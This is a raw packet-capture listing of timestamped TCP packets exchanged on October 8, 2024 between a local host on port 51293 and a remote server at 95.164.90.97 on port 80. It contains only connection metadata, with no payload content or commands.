Oct 8, 2024 02:45:24.205907106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205930948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205941916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205950975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205974102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205991983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206007004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206022024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206039906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206049919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206073999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206084013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206103086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206118107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206146002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206399918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206432104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206450939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206465006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206470966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206497908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206510067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206532955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206541061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206563950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206578016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206654072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206671953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206691027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.206695080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.206733942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.208980083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209029913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209038973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209069967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209213972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209264994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209265947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209326982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209333897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209367990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209379911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209410906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209482908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209517956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209537029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209552050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209559917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209597111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209642887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209692001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209695101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209727049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209738016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209762096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209772110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209798098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209810972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209835052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.209841013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.209881067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210026979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210056067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210078955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210089922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210124016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210124016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210138083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210159063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210169077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210203886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210206985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210249901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210345984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210378885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210396051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210412025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210417986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210448980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210455894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210493088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210555077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210587025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210606098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210618019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210649014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210720062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210741997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210773945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210789919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210804939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.210820913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.210844040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235136986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235213995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235227108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235264063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235296965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235302925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235327005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235333920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235335112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235369921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235416889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235430956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235467911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235474110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235513926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235563993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235598087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235613108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235630989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235639095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235676050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235701084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235749960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235827923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235861063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235878944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235893965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235902071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235928059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235938072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235960007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.235976934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.235994101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.236002922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.236027002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.236037970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.236062050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.236071110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.236098051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.236107111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.236141920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.271086931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.271147966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.271182060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.271245003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.271259069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.271281004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.271297932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.271315098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.271325111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.271358013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.271462917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.271496058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.271512032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.271533012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.292613029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.292646885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.292670012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.292680025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.292692900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.292733908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.292736053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.292768002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.292773962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.292802095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.292809963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.292835951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.292841911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.292867899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.292874098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.292942047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.292989016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.293093920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.293117046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.293127060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.293135881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.293165922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.293246031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.293278933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.293292999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.293311119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.293318033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.293344975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.293350935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.293375969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.293382883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.293415070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294141054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294190884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294202089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294224977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294236898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294269085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294347048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294378996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294398069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294411898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294420958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294447899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294687033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294722080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294734955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294758081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294775963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294817924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294859886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294892073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294905901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294924974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294930935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294958115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.294959068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.294996977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.295243979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295277119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295294046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.295310974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295316935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.295344114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295348883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.295377970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295382977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.295418978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.295424938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295459986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295464039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.295495033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295496941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.295530081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.295907974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295939922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295958996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.295970917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.295978069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296004057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296008110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296036959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296042919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296067953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296075106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296099901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296107054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296137094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296139002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296175957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296325922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296358109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296386003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296391964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296392918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296428919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296432018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296467066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296705961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296737909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296751976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296771049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296780109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296799898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296812057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296833038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296838045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296865940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296869993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296899080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296905041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296931982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296937943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.296966076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.296971083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.297000885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.297002077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.297034025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.297038078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.297066927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.297071934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.297105074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.299529076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299578905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299592972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.299613953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299619913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.299650908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.299705982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299742937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299757004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299778938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.299802065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.299906969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299922943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299937010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299949884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299961090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.299964905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.299983978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300003052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300138950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300154924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300189972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300283909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300299883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300314903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300329924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300332069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300345898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300354004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300362110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300383091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300400019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300693035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300709009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300723076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300734997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300745964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300750017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300760031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300767899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300782919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300785065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300797939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300805092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300813913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.300815105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300829887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.300848007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.301131010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.301146984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.301172018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.301182032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.325758934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.325788975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.325805902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.325822115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.325853109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.325858116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.325867891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.325875044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.325891018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.325906038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.325911999 CEST	51293	80	192.168.2.4	95.164.90.97
